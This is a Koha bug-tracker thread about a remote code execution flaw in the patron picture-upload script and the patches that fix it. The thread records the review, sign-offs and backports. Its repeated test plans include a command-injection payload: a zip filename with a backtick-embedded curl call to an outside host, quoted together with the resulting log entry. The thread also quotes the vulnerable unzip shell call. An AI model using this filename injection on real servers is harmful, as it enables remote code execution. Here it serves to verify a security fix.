Bug 37323 - Remote-Code-Execution (RCE) in picture-upload.pl
Summary: Remote-Code-Execution (RCE) in picture-upload.pl
Status: RESOLVED FIXED
Alias: None
Product: Koha
Classification: Unclassified
Component: Patrons (show other bugs)
Version: Main
Hardware: All All
: P5 - low enhancement
Assignee: Amit Gupta
QA Contact: Testopia
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Blocks: 37488
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Reported: 2024-07-11 03:59 UTC by Amit Gupta
Modified: 2024-11-12 23:36 UTC (History)
18 users (show)

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Text to go in the release notes:
This change sanitizes filenames used in picture upload and validates the datalink.txt/idlink.txt contents to prevent remote code execution (RCE).
Version(s) released in:
24.11.00,24.05.03,23.11.08,23.05.14,22.11.20
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Attachments
Screenshot 1 (37.18 KB, image/png)
2024-07-11 09:00 UTC, Amit Gupta
Details
Bug: 36818 Escape characters in patron image picture upload (1.30 KB, application/mbox)
2024-07-11 17:47 UTC, Amit Gupta
Details
Bug 37323: Escape characters in patron image picture upload (1.30 KB, patch)
2024-07-11 17:53 UTC, Amit Gupta
Details | Diff | Splinter Review
Bug 37323: Escape characters in patron image picture upload (1.36 KB, patch)
2024-07-19 00:10 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths (1.71 KB, patch)
2024-07-19 00:10 UTC, Chris Cormack
Details | Diff | Splinter Review
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths (1.79 KB, application/mbox)
2024-07-19 05:42 UTC, Amit Gupta
Details
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths (1.79 KB, patch)
2024-07-19 05:43 UTC, Amit Gupta
Details | Diff | Splinter Review
Bug 37323: Escape characters in patron image picture upload (1.41 KB, patch)
2024-07-26 03:28 UTC, David Cook
Details | Diff | Splinter Review
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths (1.83 KB, patch)
2024-07-26 03:28 UTC, David Cook
Details | Diff | Splinter Review
Bug 37323: Tidy (1.17 KB, patch)
2024-07-26 03:28 UTC, David Cook
Details | Diff | Splinter Review
Bug 37323: Escape characters in patron image picture upload (1.47 KB, patch)
2024-07-26 13:40 UTC, Nick Clemens (kidclamp)
Details | Diff | Splinter Review
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths (1.89 KB, patch)
2024-07-26 13:40 UTC, Nick Clemens (kidclamp)
Details | Diff | Splinter Review
Bug 37323: Tidy (1.23 KB, patch)
2024-07-26 13:41 UTC, Nick Clemens (kidclamp)
Details | Diff | Splinter Review

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Description Amit Gupta 2024-07-11 03:59:04 UTC
Remote-Code-Execution (RCE) in picture-upload.pl
Comment 1 Jonathan Druart 2024-07-11 08:54:38 UTC Comment hidden (obsolete)
Comment 2 Jonathan Druart 2024-07-11 08:55:15 UTC
Same as bug 35291 but for tools/upload-cover-image.pl, or something else?
Comment 3 Jonathan Druart 2024-07-11 08:56:36 UTC
If it's the same as bug 36818 I think it should be fixed already.
Comment 4 Amit Gupta 2024-07-11 08:59:39 UTC
(In reply to Jonathan Druart from comment #3)
> If it's the same as bug 36818 I think it should be fixed already.

Hi Jonathan,

This is different if we are uploading images in zip format.

/cgi-bin/koha/tools/picture-upload.pl

"qx/unzip $tempfile -d $dirname/;"
Comment 5 Amit Gupta 2024-07-11 09:00:07 UTC
Created attachment 168779 [details]
Screenshot 1
Comment 6 Jonathan Druart 2024-07-11 09:13:10 UTC
(In reply to Amit Gupta from comment #4)
> (In reply to Jonathan Druart from comment #3)
> > If it's the same as bug 36818 I think it should be fixed already.
> 
> Hi Jonathan,
> 
> This is different if we are uploading images in zip format.
> 
> /cgi-bin/koha/tools/picture-upload.pl
> 
> "qx/unzip $tempfile -d $dirname/;"

This is exactly what is reported on bug 36818. And the fix has been done in Koha::Uploader, which is used by both scripts.
Comment 7 Amit Gupta 2024-07-11 09:15:53 UTC
I checked in the master branch but I can execute RCE.

I think Koha::Uploader is not included for picture-upload.pl
Comment 8 Amit Gupta 2024-07-11 09:17:12 UTC
(In reply to Jonathan Druart from comment #2)
> Same as bug 35291 but for tools/upload-cover-image.pl, or something else?

Can you please include me in the bug 35291
Comment 9 Jonathan Druart 2024-07-11 09:44:51 UTC
(In reply to Amit Gupta from comment #7)
> I checked in the master branch but I can execute RCE.
> 
> I think Koha::Uploader is not included for picture-upload.pl

Ha, indeed! :-/
Comment 10 Amit Gupta 2024-07-11 17:47:56 UTC
Created attachment 168856 [details]
Bug: 36818 Escape characters in patron image picture upload

To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
   where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
   "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.
Comment 11 Amit Gupta 2024-07-11 17:53:59 UTC
Created attachment 168857 [details] [review]
Bug 37323: Escape characters in patron image picture upload

To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
   where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
   "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.
Comment 12 David Cook 2024-07-15 00:42:01 UTC
I haven't tested this, and I imagine it might work, but I think there's some additional changes we could make.

1. We could get the suffix using File::Basename, since we're only supporting ZIP, PNG, GIF, JPEG, and XPM formats.

That would prevent the malicious info passing through in the suffix.

2. We could use "system()" instead of "qx", since we're not capturing the output.

qx/unzip $tempfile -d $dirname/;

becomes 

system("unzip",$tempfile,"-d",$dirname);

This prevents the interpretation of shell metacharacters which causes the RCE.

(Alternatively, if you had to keep the qx() for some reason, we could be single quoting the $tempfile at a minimum, and escaping single quotes passed in it.)
Comment 13 David Cook 2024-07-15 00:46:33 UTC
As an aside, it looks like the issues from bug 35291 might still apply here as well at least in terms of symlinks.
Comment 14 Chris Cormack 2024-07-15 01:06:35 UTC
If we made this script use Koha::Uploader like the others, then if we wanted to switch to a system call, we would only need to do it one place.

It makes sense to me that all our uploading files should use the same module, then they would be stored consistently
Comment 15 David Cook 2024-07-15 01:31:36 UTC
(In reply to Chris Cormack from comment #14)
> If we made this script use Koha::Uploader like the others, then if we wanted
> to switch to a system call, we would only need to do it one place.
> 
> It makes sense to me that all our uploading files should use the same
> module, then they would be stored consistently

Yes please! +1
 
I just recalled that upload-cover-image.pl from bug 35291 is using CGI, but bug 37323 is using Plack. Something to review there I reckon...
Comment 16 Katrin Fischer 2024-07-15 08:00:27 UTC
How do we want to proceed here? I am not sure how big of a change using Koha::Uploader would be here - Is someone working on it?
Comment 17 Chris Cormack 2024-07-15 21:10:59 UTC
(In reply to Katrin Fischer from comment #16)
> How do we want to proceed here? I am not sure how big of a change using
> Koha::Uploader would be here - Is someone working on it?

I can take a look on Friday NZ time, however I would be happy if someone beat me to it also
Comment 18 Chris Cormack 2024-07-18 23:31:55 UTC
Actually its a big amount of work to change this to work in the ajax way with file-upload.pl and Koha::Uploader like the coverimages do.
So I am going to sign this patch off which stops the RCE and add the extra fixes for symlinks.

That will close it as a security bug, then there can be a new bug to refactor as it is will need more time and it would be good to close this RCE ASAP
Comment 19 Chris Cormack 2024-07-19 00:10:12 UTC
Created attachment 169170 [details] [review]
Bug 37323: Escape characters in patron image picture upload

To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
   where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
   "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Comment 20 Chris Cormack 2024-07-19 00:10:36 UTC
Created attachment 169171 [details] [review]
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths

Test plan:
0. Apply patch and restart/reload Koha
1. Test that uploading a patron image still works, in single file format and as a zip
Comment 21 Amit Gupta 2024-07-19 05:42:12 UTC
Created attachment 169175 [details]
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths

Test plan:
0. Apply patch and restart/reload Koha
1. Test that uploading a patron image still works, in single file format and as a zip

Work as suggested
Comment 22 Amit Gupta 2024-07-19 05:43:27 UTC
Created attachment 169176 [details] [review]
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths

Test plan:
0. Apply patch and restart/reload Koha
1. Test that uploading a patron image still works, in single file format and as a zip

Work as suggested
Comment 23 David Cook 2024-07-26 03:06:14 UTC
Reminder for testing that the system preference patronimages must be enabled:

/cgi-bin/koha/admin/preferences.pl?op=search&searchfield=patronimages
Comment 25 David Cook 2024-07-26 03:28:20 UTC
Created attachment 169637 [details] [review]
Bug 37323: Escape characters in patron image picture upload

To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
   where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
   "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 26 David Cook 2024-07-26 03:28:23 UTC
Created attachment 169638 [details] [review]
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths

Test plan:
0. Apply patch and restart/reload Koha
1. Test that uploading a patron image still works, in single file format and as a zip

Work as suggested

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 27 David Cook 2024-07-26 03:28:27 UTC
Created attachment 169639 [details] [review]
Bug 37323: Tidy

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 30 David Cook 2024-07-26 03:46:52 UTC
Actually, I need to double-check that filepath validation. I thought I noticed an issue earlier, but convinced myself I was wrong without really double-checking...
Comment 31 David Cook 2024-07-26 03:52:13 UTC
(In reply to David Cook from comment #30)
> Actually, I need to double-check that filepath validation. I thought I
> noticed an issue earlier, but convinced myself I was wrong without really
> double-checking...

I think my brain is just overheating. This should be fine...
Comment 32 Nick Clemens (kidclamp) 2024-07-26 13:40:54 UTC
Created attachment 169719 [details] [review]
Bug 37323: Escape characters in patron image picture upload

To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
   where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
   "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Comment 33 Nick Clemens (kidclamp) 2024-07-26 13:40:57 UTC
Created attachment 169720 [details] [review]
Bug 37323: Don't allow symlinks in link files in zip and validate filepaths

Test plan:
0. Apply patch and restart/reload Koha
1. Test that uploading a patron image still works, in single file format and as a zip

Work as suggested

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Comment 34 Nick Clemens (kidclamp) 2024-07-26 13:41:00 UTC
Created attachment 169721 [details] [review]
Bug 37323: Tidy

Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Comment 35 Tomás Cohen Arazi (tcohen) 2024-08-12 14:36:38 UTC
Pushed to main for 24.11.

Nice work everyone, thanks!
Comment 36 Katrin Fischer 2024-08-22 16:11:45 UTC
I've filed this as a follow-up bug:
Bug 37712 - Switch picture-upload.pl to use Koha::Uploader
Comment 37 Wainui Witika-Park 2024-09-18 03:45:17 UTC
Not backporting to 23.05.x unless requested
Comment 38 Katrin Fischer 2024-09-25 15:33:43 UTC
(In reply to wainuiwitikapark from comment #37)
> Not backporting to 23.05.x unless requested

Hi Wainui, this was part of the security release Tomas and I did and should already be in 23.05 now.
Comment 39 Wainui Witika-Park 2024-09-25 22:20:15 UTC
(In reply to Katrin Fischer from comment #38)
> (In reply to wainuiwitikapark from comment #37)
> > Not backporting to 23.05.x unless requested
> 
> Hi Wainui, this was part of the security release Tomas and I did and should
> already be in 23.05 now.

Oh sorry! My mistake, thanks!!